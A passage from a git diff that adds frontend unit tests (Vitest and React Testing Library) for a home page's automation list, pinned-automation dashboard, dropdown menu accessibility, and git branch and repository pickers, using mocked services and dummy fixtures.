+ automation: makeAutomation(),
+ t: (key) => key,
+ canManage: false,
+ isRunPending: false,
+ isCancelPending: false,
+ canCancel: false,
+ testIdPrefix: "running-automation",
+ pinTestId: "running-automation-pin-auto-1",
+ isPinned: false,
+ onRunNow: vi.fn(),
+ onCancelRun: vi.fn(),
+ onView: vi.fn(),
+ onEdit: vi.fn(),
+ onTurnOff: vi.fn(),
+ onTogglePin: vi.fn(),
+ });
+
+ expect(itemKeys(entries)).toEqual(["view", "pin"]);
+ });
+});
diff --git a/__tests__/components/features/home/featured-automations-section.test.tsx b/__tests__/components/features/home/featured-automations-section.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..7ddd0fe7e2fa1d8abb44a4839c3a5a7364894f21
--- /dev/null
+++ b/__tests__/components/features/home/featured-automations-section.test.tsx
@@ -0,0 +1,598 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
+import React from "react";
+import { render, screen, waitFor, within } from "@testing-library/react";
+import userEvent from "@testing-library/user-event";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+
+import AutomationService from "#/api/automation-service/automation-service.api";
+import AgentServerConversationService from "#/api/conversation-service/agent-server-conversation-service.api";
+import type { AppConversation } from "#/api/conversation-service/agent-server-conversation-service.types";
+import ProfilesService from "#/api/profiles-service/profiles-service.api";
+import {
+ __resetActiveStoreForTests,
+ setActiveSelection,
+ setRegisteredBackends,
+} from "#/api/backend-registry/active-store";
+import type { Backend } from "#/api/backend-registry/types";
+import { ActiveBackendProvider } from "#/contexts/active-backend-context";
+import { PinnedAutomationsDashboard } from "#/components/features/home/featured-automations/pinned-automations-dashboard";
+import { RunningAutomationsList } from "#/components/features/home/featured-automations/running-automations-list";
+import { NavigationProvider } from "#/context/navigation-context";
+import { HOME_PINNED_AUTOMATIONS_KEY } from "#/hooks/use-home-pinned-automations";
+import { AUTOMATION_STACK_SECTION_BOTTOM_CLASS } from "#/utils/automation-stack-section";
+import {
+ AutomationRunStatus,
+ type Automation,
+ type AutomationRun,
+} from "#/types/automation";
+import { displayErrorToast } from "#/utils/custom-toast-handlers";
+
+vi.mock("react-i18next", () => ({
+ useTranslation: () => ({
+ t: (key: string, options?: { name?: string; count?: number }) => {
+ if (options?.name) return `${key}:${options.name}`;
+ if (options?.count != null) return `${key}:${options.count}`;
+ return key;
+ },
+ i18n: { language: "en" },
+ }),
+}));
+
+vi.mock("#/api/automation-service/automation-service.api", () => ({
+ default: {
+ checkHealth: vi.fn(),
+ getAutomations: vi.fn(),
+ getAutomationRuns: vi.fn(),
+ dispatchAutomation: vi.fn(),
+ toggleAutomation: vi.fn(),
+ cancelAutomationRun: vi.fn(),
+ },
+}));
+
+vi.mock("#/api/profiles-service/profiles-service.api", () => ({
+ default: {
+ listProfiles: vi.fn(),
+ },
+}));
+
+vi.mock("#/utils/custom-toast-handlers", () => ({
+ displaySuccessToast: vi.fn(),
+ displayErrorToast: vi.fn(),
+}));
+
+// Mock permission hooks so home automation components don't need a real
+// ActiveBackendProvider or /me endpoint.
+vi.mock("#/hooks/use-automation-permissions", () => ({
+ useAutomationPermissions: () => ({
+ canView: true,
+ canManage: true,
+ isLoading: false,
+ }),
+ useIsAutomationOwner: () => true,
+}));
+
+vi.mock(
+ "#/api/conversation-service/agent-server-conversation-service.api",
+ () => ({
+ default: { batchGetAppConversations: vi.fn() },
+ }),
+);
+
+function makeAutomation(overrides: Partial = {}): Automation {
+ return {
+ id: "auto-1",
+ name: "Daily digest",
+ prompt: "Summarize yesterday's PRs",
+ trigger: {
+ type: "cron",
+ schedule: "0 9 * * *",
+ schedule_human: "Daily at 09:00",
+ },
+ enabled: true,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ ...overrides,
+ };
+}
+
+function makeRun(overrides: Partial = {}): AutomationRun {
+ return {
+ id: "run-1",
+ status: AutomationRunStatus.COMPLETED,
+ conversation_id: "conv-1",
+ bash_command_id: "cmd-1",
+ error_detail: null,
+ started_at: "2026-08-01T10:00:00Z",
+ completed_at: "2026-08-01T10:05:00Z",
+ ...overrides,
+ };
+}
+
+function makeConversation(id: string, title: string | null): AppConversation {
+ return {
+ id,
+ created_by_user_id: null,
+ selected_repository: null,
+ selected_branch: null,
+ git_provider: null,
+ title,
+ trigger: null,
+ pr_number: [],
+ llm_model: null,
+ metrics: null,
+ created_at: "2026-01-01T00:00:00Z",
+ updated_at: "2026-01-01T00:00:00Z",
+ execution_status: null,
+ sandbox_status: null,
+ conversation_url: "https://sandbox.example.com/api",
+ session_api_key: null,
+ sandbox_id: null,
+ sub_conversation_ids: [],
+ };
+}
+
+/** Pins are stored under a backend/org-scoped key; find it by prefix. */
+function getStoredPinnedIds(): string | null {
+ const key = Object.keys(window.localStorage).find((storageKey) =>
+ storageKey.startsWith(HOME_PINNED_AUTOMATIONS_KEY),
+ );
+ return key ? window.localStorage.getItem(key) : null;
+}
+
+function renderHomeAutomations(ui: React.ReactElement) {
+ const queryClient = new QueryClient({
+ defaultOptions: { queries: { retry: false } },
+ });
+ return render(
+
+
+ {ui}
+
+ ,
+ );
+}
+
+beforeEach(() => {
+ vi.clearAllMocks();
+ window.localStorage.clear();
+ vi.mocked(AutomationService.checkHealth).mockResolvedValue({ status: "ok" });
+ vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+ automations: [makeAutomation()],
+ total: 1,
+ });
+ vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+ runs: [makeRun()],
+ total: 1,
+ });
+ vi.mocked(AutomationService.dispatchAutomation).mockResolvedValue(makeRun());
+ vi.mocked(AutomationService.toggleAutomation).mockResolvedValue(
+ makeAutomation({ enabled: false }),
+ );
+ vi.mocked(
+ AgentServerConversationService.batchGetAppConversations,
+ ).mockResolvedValue([]);
+ vi.mocked(ProfilesService.listProfiles).mockResolvedValue({
+ profiles: [],
+ active_profile: null,
+ });
+});
+
+describe("home automations composer layout", () => {
+ it("lists rows with accessible health labels and a manage control", async () => {
+ vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+ automations: [
+ makeAutomation({ id: "auto-1", name: "Daily digest" }),
+ makeAutomation({ id: "auto-2", name: "PR review" }),
+ makeAutomation({
+ id: "auto-3",
+ name: "Disabled sweep",
+ enabled: false,
+ }),
+ ],
+ total: 3,
+ });
+ vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+ async (id: string) => {
+ if (id === "auto-2") {
+ return {
+ runs: [
+ makeRun({
+ id: "run-2",
+ status: AutomationRunStatus.FAILED,
+ error_detail: "boom",
+ }),
+ ],
+ total: 1,
+ };
+ }
+ return { runs: [makeRun()], total: 1 };
+ },
+ );
+
+ renderHomeAutomations( );
+
+ expect(
+ await screen.findByRole("link", {
+ name: /Daily digest\s*AUTOMATIONS\$DETAIL\$SUCCESSFUL/,
+ }),
+ ).toBeInTheDocument();
+ expect(
+ await screen.findByRole("link", {
+ name: /PR review\s*AUTOMATIONS\$DETAIL\$FAILED/,
+ }),
+ ).toBeInTheDocument();
+ expect(screen.queryByText("Disabled sweep")).not.toBeInTheDocument();
+ expect(screen.getByTestId("home-automations-manage")).toHaveAttribute(
+ "href",
+ "/automations",
+ );
+ });
+
+ it("renders nothing when the automation service is unavailable", async () => {
+ vi.mocked(AutomationService.checkHealth).mockResolvedValue({
+ status: "error",
+ message: "unreachable",
+ });
+
+ renderHomeAutomations( );
+
+ await waitFor(() =>
+ expect(AutomationService.checkHealth).toHaveBeenCalledTimes(1),
+ );
+ expect(
+ screen.queryByTestId("running-automations-list"),
+ ).not.toBeInTheDocument();
+ expect(AutomationService.getAutomations).not.toHaveBeenCalled();
+ });
+
+ it("keeps the pane visible with an add prompt when there are no enabled automations", async () => {
+ vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+ automations: [makeAutomation({ enabled: false })],
+ total: 1,
+ });
+
+ renderHomeAutomations( );
+
+ await waitFor(() =>
+ expect(AutomationService.getAutomations).toHaveBeenCalledTimes(1),
+ );
+ // The pane stays visible to nudge users toward adding automations.
+ expect(
+ await screen.findByTestId("running-automations-list"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("running-automations-empty-hint"),
+ ).toBeInTheDocument();
+ expect(screen.getByTestId("home-automations-manage")).toHaveAttribute(
+ "href",
+ "/automations",
+ );
+ });
+
+ it("lists enabled automations with live run status and conversation links", async () => {
+ vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+ automations: [
+ makeAutomation({ id: "auto-1", name: "Daily digest" }),
+ makeAutomation({
+ id: "auto-2",
+ name: "PR review",
+ trigger: {
+ type: "event",
+ source: "github",
+ on: "pull_request.opened",
+ },
+ }),
+ ],
+ total: 2,
+ });
+ vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+ async (id: string) => {
+ if (id === "auto-2") {
+ return {
+ runs: [
+ makeRun({
+ id: "run-2",
+ status: AutomationRunStatus.PENDING,
+ conversation_id: null,
+ started_at: "1970-01-01T00:00:00Z",
+ completed_at: null,
+ }),
+ ],
+ total: 1,
+ };
+ }
+ return { runs: [makeRun()], total: 1 };
+ },
+ );
+
+ renderHomeAutomations( );
+
+ expect(
+ await screen.findByTestId("running-automations-list"),
+ ).toBeInTheDocument();
+
+ expect(screen.getByRole("link", { name: /Daily digest/ })).toHaveAttribute(
+ "href",
+ "/conversations/conv-1",
+ );
+ expect(screen.getByRole("link", { name: /PR review/ })).toHaveAttribute(
+ "href",
+ "/automations/auto-2",
+ );
+ expect(
+ screen.getByText("Daily at 09:00", { exact: false }),
+ ).toBeInTheDocument();
+ });
+
+ it("previews 10 rows, expands with View more, then offers View All at 20", async () => {
+ const automations = Array.from({ length: 20 }, (_, index) =>
+ makeAutomation({
+ id: `auto-${index + 1}`,
+ name: `Automation ${index + 1}`,
+ }),
+ );
+ vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+ automations,
+ total: 20,
+ });
+ vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+ runs: [makeRun()],
+ total: 1,
+ });
+ const user = userEvent.setup();
+
+ renderHomeAutomations( );
+
+ expect(
+ await screen.findByTestId("running-automations-list"),
+ ).toBeInTheDocument();
+ expect(screen.getByText("Automation 1")).toBeInTheDocument();
+ expect(screen.getByText("Automation 10")).toBeInTheDocument();
+ expect(screen.queryByText("Automation 11")).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("home-automations-view-more"));
+
+ expect(screen.getByText("Automation 11")).toBeInTheDocument();
+ expect(screen.getByText("Automation 20")).toBeInTheDocument();
+ expect(
+ screen.queryByTestId("home-automations-view-more"),
+ ).not.toBeInTheDocument();
+ expect(screen.getByTestId("home-automations-view-all")).toHaveAttribute(
+ "href",
+ "/automations",
+ );
+ });
+
+ it("pins from the row menu into a rich dashboard card with conversation title and failure detail", async () => {
+ vi.mocked(AutomationService.getAutomations).mockResolvedValue({
+ automations: [
+ makeAutomation({ id: "auto-1", name: "Daily digest" }),
+ makeAutomation({ id: "auto-2", name: "PR review" }),
+ ],
+ total: 2,
+ });
+ vi.mocked(AutomationService.getAutomationRuns).mockImplementation(
+ async (id: string) => {
+ if (id === "auto-2") {
+ return {
+ runs: [
+ makeRun({
+ id: "run-2",
+ status: AutomationRunStatus.FAILED,
+ conversation_id: null,
+ error_detail: "sandbox timeout",
+ }),
+ ],
+ total: 1,
+ };
+ }
+ return { runs: [makeRun()], total: 1 };
+ },
+ );
+ vi.mocked(
+ AgentServerConversationService.batchGetAppConversations,
+ ).mockResolvedValue([
+ makeConversation("conv-1", "Reviewed the release PR"),
+ ]);
+ const user = userEvent.setup();
+
+ renderHomeAutomations(
+ <>
+
+
+ >,
+ );
+
+ expect(
+ await screen.findByTestId("running-automations-list"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+ expect(
+ screen.getByTestId("running-automation-run-auto-1"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("running-automation-view-auto-1"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("running-automation-edit-auto-1"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("running-automation-turn-off-auto-1"),
+ ).toBeInTheDocument();
+ await user.click(screen.getByTestId("running-automation-pin-auto-1"));
+
+ const dashboard = await screen.findByTestId("pinned-automations-dashboard");
+ expect(dashboard).toHaveClass(AUTOMATION_STACK_SECTION_BOTTOM_CLASS);
+ const pinnedCard = within(dashboard).getByTestId(
+ "pinned-automation-card-auto-1",
+ );
+ expect(pinnedCard.className).toContain("extension-module-card-interactive");
+ expect(pinnedCard.className).toContain("bg-base-secondary");
+ expect(pinnedCard.className).not.toContain("border-[var(--oh-border)]");
+ expect(pinnedCard).toBeInTheDocument();
+ expect(
+ within(dashboard).getByTestId("pinned-automation-pills-auto-1-wrap"),
+ ).toBeInTheDocument();
+ expect(within(dashboard).getByText("Daily at 09:00")).toBeInTheDocument();
+ expect(
+ within(pinnedCard).getByTestId("automation-run-stats"),
+ ).toBeInTheDocument();
+ expect(
+ await within(dashboard).findByRole("link", {
+ name: "Reviewed the release PR",
+ }),
+ ).toHaveAttribute("href", "/conversations/conv-1");
+
+ await user.click(screen.getByTestId("running-automation-menu-auto-2"));
+ await user.click(screen.getByTestId("running-automation-pin-auto-2"));
+ expect(
+ await within(dashboard).findByText("sandbox timeout"),
+ ).toBeInTheDocument();
+ expect(
+ within(dashboard).getByText("AUTOMATIONS$DETAIL$NO_CONVERSATION"),
+ ).toBeInTheDocument();
+
+ expect(getStoredPinnedIds()).toContain("auto-1");
+
+ expect(
+ screen.queryByTestId("pinned-automation-run-now-auto-1"),
+ ).not.toBeInTheDocument();
+
+ await user.click(screen.getByTestId("pinned-automation-menu-auto-1"));
+ expect(
+ screen.getByTestId("pinned-automation-run-auto-1"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("pinned-automation-view-auto-1"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("pinned-automation-edit-auto-1"),
+ ).toBeInTheDocument();
+ expect(
+ screen.getByTestId("pinned-automation-turn-off-auto-1"),
+ ).toBeInTheDocument();
+
+ await user.click(screen.getByTestId("pinned-automation-run-auto-1"));
+ await waitFor(() => {
+ expect(AutomationService.dispatchAutomation).toHaveBeenCalledWith(
+ "auto-1",
+ );
+ });
+
+ await user.click(screen.getByTestId("pinned-automation-menu-auto-1"));
+ await user.click(screen.getByTestId("unpin-automation-auto-1"));
+ expect(
+ screen.queryByTestId("pinned-automation-card-auto-1"),
+ ).not.toBeInTheDocument();
+ });
+
+ it("shows the pinned card's active-run phase using only the shared latest-run fetch, no extra request (home surface)", async () => {
+ // Arrange: a single automation with a RUNNING run that has a phase.
+ // `getAutomationRuns` is the one query both the row and the pinned
+ // dashboard card read (shared cache key + params) — if showing the
+ // phase required a second fetch, the call count below would exceed 1.
+ vi.mocked(AutomationService.getAutomationRuns).mockResolvedValue({
+ runs: [
+ makeRun({
+ status: AutomationRunStatus.RUNNING,
+ completed_at: null,
+ phase_code: "running_agent",
+ phase_label: null,
+ }),
+ ],
+ total: 1,
+ });
+ const user = userEvent.setup();
+
+ // Act
+ renderHomeAutomations(
+ <>
+
+
+ >,
+ );
+ await screen.findByTestId("running-automations-list");
+ await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+ await user.click(screen.getByTestId("running-automation-pin-auto-1"));
+
+ // Assert: the pinned card shows the phase ...
+ const dashboard = await screen.findByTestId("pinned-automations-dashboard");
+ expect(
+ await within(dashboard).findByText(
+ "AUTOMATIONS$DETAIL$PHASE_RUNNING_AGENT",
+ ),
+ ).toBeInTheDocument();
+ // ... and only one runs request was ever made for this automation.
+ expect(AutomationService.getAutomationRuns).toHaveBeenCalledTimes(1);
+ });
+
+ it("shows an error toast when turning an automation off fails", async () => {
+ vi.mocked(AutomationService.toggleAutomation).mockRejectedValue(
+ new Error("backend unavailable"),
+ );
+ const user = userEvent.setup();
+
+ renderHomeAutomations( );
+
+ await screen.findByTestId("running-automations-list");
+ await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+ await user.click(screen.getByTestId("running-automation-turn-off-auto-1"));
+ await user.click(screen.getByTestId("turn-off-automation-confirm"));
+
+ await waitFor(() => {
+ expect(AutomationService.toggleAutomation).toHaveBeenCalledWith(
+ "auto-1",
+ false,
+ );
+ });
+ await waitFor(() => {
+ expect(displayErrorToast).toHaveBeenCalled();
+ });
+ });
+});
+
+describe("home automations on a cloud backend", () => {
+ const cloudBackend: Backend = {
+ id: "cloud-1",
+ name: "Production",
+ host: "https://app.all-hands.dev",
+ apiKey: "bearer-key",
+ kind: "cloud",
+ };
+
+ afterEach(() => {
+ __resetActiveStoreForTests();
+ });
+
+ it("opens the Edit modal in place from a row menu instead of leaving the home surface", async () => {
+ // Arrange — make a cloud backend active before mounting.
+ setRegisteredBackends([cloudBackend]);
+ setActiveSelection({ backendId: cloudBackend.id });
+ const user = userEvent.setup();
+ renderHomeAutomations(
+
+
+ ,
+ );
+ await screen.findByTestId("running-automations-list");
+
+ // Act — pick Edit from the row menu.
+ await user.click(screen.getByTestId("running-automation-menu-auto-1"));
+ await user.click(screen.getByTestId("running-automation-edit-auto-1"));
+
+ // Assert — the editor opens pre-filled for this row rather than
+ // bouncing the user to the detail page.
+ const nameInput = (await screen.findByTestId(
+ "edit-automation-name",
+ )) as HTMLInputElement;
+ expect(nameInput.value).toBe("Daily digest");
+ });
+});
diff --git a/__tests__/components/features/home/generic-dropdown-menu.test.tsx b/__tests__/components/features/home/generic-dropdown-menu.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..48df3c488bd1d0a1f4fdee9dcf1896f69038013d
--- /dev/null
+++ b/__tests__/components/features/home/generic-dropdown-menu.test.tsx
@@ -0,0 +1,70 @@
+import { render, screen } from "@testing-library/react";
+import { describe, expect, it } from "vitest";
+
+import { GenericDropdownMenu } from "../../../../src/components/features/home/shared/generic-dropdown-menu";
+
+interface Item {
+ id: string;
+ name: string;
+}
+
+const ITEMS: Item[] = [
+ { id: "a", name: "a" },
+ { id: "b", name: "b" },
+];
+
+function renderMenu(props: Record = {}) {
+ return render(
+
+ isOpen
+ filteredItems={ITEMS}
+ inputValue=""
+ highlightedIndex={-1}
+ selectedItem={null}
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
+ getMenuProps={(opts: any) => ({ ...opts })}
+ // eslint-disable-next-line @typescript-eslint/no-explicit-any
+ getItemProps={(opts: any) => ({ ...opts })}
+ renderItem={(item) => (
+
+ {item.name}
+
+ )}
+ renderEmptyState={() => }
+ testId="generic-menu"
+ itemKey={(item) => item.id}
+ {...props}
+ />,
+ );
+}
+
+describe("GenericDropdownMenu list structure", () => {
+ it("renders only elements as direct children of the listbox (valid list markup)", () => {
+ // numberOfRecentItems > 0 triggers the recent-items divider after the
+ // first item. A may only contain children; a divider is
+ // invalid markup that a11y tooling flags (Copilot, agent-canvas#1).
+ renderMenu({ numberOfRecentItems: 1 });
+
+ const list = screen.getByTestId("generic-menu");
+ const nonLiChildren = Array.from(list.children).filter(
+ (el) => el.tagName !== "LI",
+ );
+
+ expect(nonLiChildren.map((el) => el.tagName)).toEqual([]);
+ });
+
+ it("keeps the recent-items divider out of the accessibility tree", () => {
+ renderMenu({ numberOfRecentItems: 1 });
+
+ // The divider must be presentational so screen readers don't announce a
+ // phantom list item. Match it by its role directly (not "not an option")
+ // so the assertion stays pinned if another non-option child is added.
+ const list = screen.getByTestId("generic-menu");
+ const divider = Array.from(list.children).find(
+ (el) => el.getAttribute("role") === "presentation",
+ );
+ expect(divider).toBeDefined();
+ expect(divider).toHaveAttribute("role", "presentation");
+ expect(divider).toHaveAttribute("aria-hidden", "true");
+ });
+});
diff --git a/__tests__/components/features/home/git-branch-dropdown.test.tsx b/__tests__/components/features/home/git-branch-dropdown.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..151dde9a583b2767769084cb1b0a0ec1d06cee3b
--- /dev/null
+++ b/__tests__/components/features/home/git-branch-dropdown.test.tsx
@@ -0,0 +1,186 @@
+import { render, screen, waitFor } from "@testing-library/react";
+import { describe, expect, vi, beforeEach, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import userEvent from "@testing-library/user-event";
+import { GitBranchDropdown } from "../../../../src/components/features/home/git-branch-dropdown/git-branch-dropdown";
+import { Branch } from "#/types/git";
+
+// Mock the branch data hook
+const mockUseBranchData = vi.fn();
+vi.mock("#/hooks/query/use-branch-data", () => ({
+ useBranchData: (...args: unknown[]) => mockUseBranchData(...args),
+}));
+
+const MOCK_BRANCHES: Branch[] = [
+ { name: "main", commit_sha: "abc123", protected: true },
+ { name: "develop", commit_sha: "def456", protected: false },
+ { name: "feature/test", commit_sha: "ghi789", protected: false },
+];
+
+const mockOnBranchSelect = vi.fn();
+
+const renderDropdown = (
+ props: Partial
[0]> = {},
+) => {
+ // Default mock return value
+ mockUseBranchData.mockReturnValue({
+ branches: MOCK_BRANCHES,
+ isLoading: false,
+ isError: false,
+ fetchNextPage: vi.fn(),
+ hasNextPage: false,
+ isFetchingNextPage: false,
+ isSearchLoading: false,
+ });
+
+ return render(
+ ,
+ {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ },
+ );
+};
+
+describe("GitBranchDropdown", () => {
+ beforeEach(() => {
+ vi.clearAllMocks();
+ });
+
+ describe("dropdown behavior", () => {
+ it("should open dropdown when input is clicked", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-branch-dropdown-input");
+ await userEvent.click(input);
+
+ // Dropdown should be open (menu should be visible)
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("git-branch-dropdown-menu"),
+ ).toBeInTheDocument();
+ });
+ });
+
+ it("should keep dropdown open when clicking input while already open", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-branch-dropdown-input");
+
+ // First click - open dropdown
+ await userEvent.click(input);
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("git-branch-dropdown-menu"),
+ ).toBeInTheDocument();
+ });
+
+ // Second click on input - should stay open (not close)
+ await userEvent.click(input);
+
+ // Dropdown should still be open
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("git-branch-dropdown-menu"),
+ ).toBeInTheDocument();
+ });
+ });
+
+ it("should preserve typed text when clicking input while typing", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId(
+ "git-branch-dropdown-input",
+ ) as HTMLInputElement;
+
+ // Click to open and type
+ await userEvent.click(input);
+ await userEvent.type(input, "feat");
+
+ expect(input.value).toBe("feat");
+
+ // Click on input again (should not reset text)
+ await userEvent.click(input);
+
+ // Text should be preserved
+ expect(input.value).toBe("feat");
+ });
+ });
+
+ describe("cursor position preservation", () => {
+ it("should allow editing in the middle of input text", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId(
+ "git-branch-dropdown-input",
+ ) as HTMLInputElement;
+
+ // Click and type initial text
+ await userEvent.click(input);
+ await userEvent.type(input, "hello");
+
+ expect(input.value).toBe("hello");
+
+ // Move cursor to position 2 and type
+ input.setSelectionRange(2, 2);
+ await userEvent.type(input, "X");
+
+ // The character should be inserted (exact position may vary based on browser behavior)
+ expect(input.value).toContain("X");
+ });
+ });
+
+ describe("input synchronization", () => {
+ it("should show selected branch name in input when provided", async () => {
+ const selectedBranch = MOCK_BRANCHES[0];
+ renderDropdown({ selectedBranch });
+
+ const input = screen.getByTestId(
+ "git-branch-dropdown-input",
+ ) as HTMLInputElement;
+
+ await waitFor(() => {
+ expect(input.value).toBe(selectedBranch.name);
+ });
+ });
+ });
+
+ describe("branch selection", () => {
+ it("should call onBranchSelect when a branch is selected", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-branch-dropdown-input");
+ await userEvent.click(input);
+
+ // Wait for dropdown to open and show branches
+ await waitFor(() => {
+ expect(screen.getByText("main")).toBeInTheDocument();
+ });
+
+ // Click on a branch
+ await userEvent.click(screen.getByText("develop"));
+
+ expect(mockOnBranchSelect).toHaveBeenCalledWith(MOCK_BRANCHES[1]);
+ });
+ });
+});
diff --git a/__tests__/components/features/home/git-repo-dropdown.test.tsx b/__tests__/components/features/home/git-repo-dropdown.test.tsx
new file mode 100644
index 0000000000000000000000000000000000000000..8203f60be8e926235bed3394e805a295348c439c
--- /dev/null
+++ b/__tests__/components/features/home/git-repo-dropdown.test.tsx
@@ -0,0 +1,755 @@
+import {
+ fireEvent,
+ render,
+ screen,
+ waitFor,
+ within,
+} from "@testing-library/react";
+import { describe, expect, vi, it } from "vitest";
+import { QueryClient, QueryClientProvider } from "@tanstack/react-query";
+import userEvent from "@testing-library/user-event";
+import { GitRepoDropdown } from "../../../../src/components/features/home/git-repo-dropdown/git-repo-dropdown";
+import { GitRepository } from "#/types/git";
+import { I18nKey } from "#/i18n/declaration";
+
+const useTranslationMock = vi.hoisted(() =>
+ vi.fn((namespace: string) => ({
+ t: (key: string) => `${namespace}:${key}`,
+ })),
+);
+
+vi.mock("react-i18next", () => ({
+ useTranslation: useTranslationMock,
+}));
+
+const translated = (key: I18nKey) => `openhands:${key}`;
+
+// Mock the repository data hook
+const mockUseRepositoryData = vi.fn();
+vi.mock(
+ "#/components/features/home/git-repo-dropdown/use-repository-data",
+ () => ({
+ useRepositoryData: (...args: unknown[]) => mockUseRepositoryData(...args),
+ }),
+);
+
+// Mock the URL search hook
+const mockUseUrlSearch = vi.fn();
+vi.mock("#/components/features/home/git-repo-dropdown/use-url-search", () => ({
+ useUrlSearch: (...args: unknown[]) => mockUseUrlSearch(...args),
+}));
+
+vi.mock("#/hooks/use-debounce", () => ({
+ useDebounce: (value: string) => value,
+}));
+
+// Mock useConfig
+vi.mock("#/hooks/query/use-config", () => ({
+ useConfig: () => ({ data: null }),
+}));
+
+const homeStore = vi.hoisted(() => ({
+ recentRepositories: [] as GitRepository[],
+}));
+
+// Mock useHomeStore
+vi.mock("#/stores/home-store", () => ({
+ useHomeStore: () => homeStore,
+}));
+
+const MOCK_REPOSITORIES: GitRepository[] = [
+ {
+ id: "1",
+ full_name: "user/repo-one",
+ git_provider: "github",
+ is_public: true,
+ },
+ {
+ id: "2",
+ full_name: "user/repo-two",
+ git_provider: "github",
+ is_public: true,
+ },
+ {
+ id: "3",
+ full_name: "org/feature-repo",
+ git_provider: "github",
+ is_public: false,
+ },
+];
+
+const mockOnChange = vi.fn();
+
+const setupDefaultMocks = (
+ repositoryDataOverrides: Partial<
+ ReturnType
+ > = {},
+ urlSearchOverrides: Partial> = {},
+) => {
+ mockUseRepositoryData.mockReturnValue({
+ repositories: MOCK_REPOSITORIES,
+ selectedRepository: null,
+ isLoading: false,
+ isError: false,
+ fetchNextPage: vi.fn(),
+ hasNextPage: false,
+ isFetchingNextPage: false,
+ isSearchLoading: false,
+ ...repositoryDataOverrides,
+ });
+
+ mockUseUrlSearch.mockReturnValue({
+ urlSearchResults: [],
+ isUrlSearchLoading: false,
+ ...urlSearchOverrides,
+ });
+};
+
+const renderDropdown = (
+ props: Partial[0]> = {},
+ repositoryDataOverrides: Partial<
+ ReturnType
+ > = {},
+ urlSearchOverrides: Partial> = {},
+ recentRepositories: GitRepository[] = [],
+) => {
+ vi.clearAllMocks();
+ homeStore.recentRepositories = recentRepositories;
+ // Set up mocks with optional overrides
+ setupDefaultMocks(repositoryDataOverrides, urlSearchOverrides);
+
+ return render(
+ ,
+ {
+ wrapper: ({ children }) => (
+
+ {children}
+
+ ),
+ },
+ );
+};
+
+function setMenuScrollMetrics(
+ menu: HTMLElement,
+ {
+ scrollTop,
+ scrollHeight = 100,
+ clientHeight = 20,
+ }: { scrollTop: number; scrollHeight?: number; clientHeight?: number },
+) {
+ Object.defineProperties(menu, {
+ scrollTop: { configurable: true, value: scrollTop },
+ scrollHeight: { configurable: true, value: scrollHeight },
+ clientHeight: { configurable: true, value: clientHeight },
+ });
+}
+
+describe("GitRepoDropdown", () => {
+ describe("dropdown behavior", () => {
+ it("renders localized defaults and preserves presentation overrides", () => {
+ const view = renderDropdown({ className: "repository-root" });
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ expect(input).toHaveValue("");
+ expect(input).toHaveAttribute(
+ "placeholder",
+ translated(I18nKey.COMMON$SEARCH_REPOSITORIES_PLACEHOLDER),
+ );
+ expect(input.parentElement?.parentElement).toHaveClass(
+ "relative",
+ "repository-root",
+ );
+ expect(input).toHaveClass(
+ "text-inherit",
+ "shadow-none",
+ "pl-7",
+ "pr-16",
+ "text-sm",
+ "font-normal",
+ "leading-5",
+ "placeholder:text-[var(--oh-muted)]",
+ "disabled:cursor-not-allowed",
+ "disabled:opacity-60",
+ );
+ expect(
+ input.previousElementSibling?.querySelector("svg"),
+ ).toBeInTheDocument();
+ expect(
+ input.previousElementSibling?.querySelector(".animate-spin"),
+ ).not.toBeInTheDocument();
+ expect(
+ screen.queryByText(translated(I18nKey.COMMON$MOST_RECENT)),
+ ).not.toBeInTheDocument();
+
+ view.rerender(
+ ,
+ );
+
+ expect(input).toHaveAttribute("placeholder", "Choose a repository");
+ });
+
+ it("should open dropdown when input is clicked", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-repo-dropdown");
+ await userEvent.click(input);
+
+ // Dropdown should be open (menu should be visible)
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("git-repo-dropdown-menu"),
+ ).toBeInTheDocument();
+ });
+ });
+
+ it("should keep dropdown open when clicking input while already open", async () => {
+ renderDropdown();
+
+ const input = screen.getByTestId("git-repo-dropdown");
+
+ // First click - open dropdown
+ await userEvent.click(input);
+ await waitFor(() => {
+ expect(
+ screen.getByTestId("git-repo-dropdown-menu"),
+ ).toBeInTheDocument();
+ });
+
+ // Second click on input - should stay open (not close)
+ await userEvent.click(input);
+
+ // Dropdown should still be open
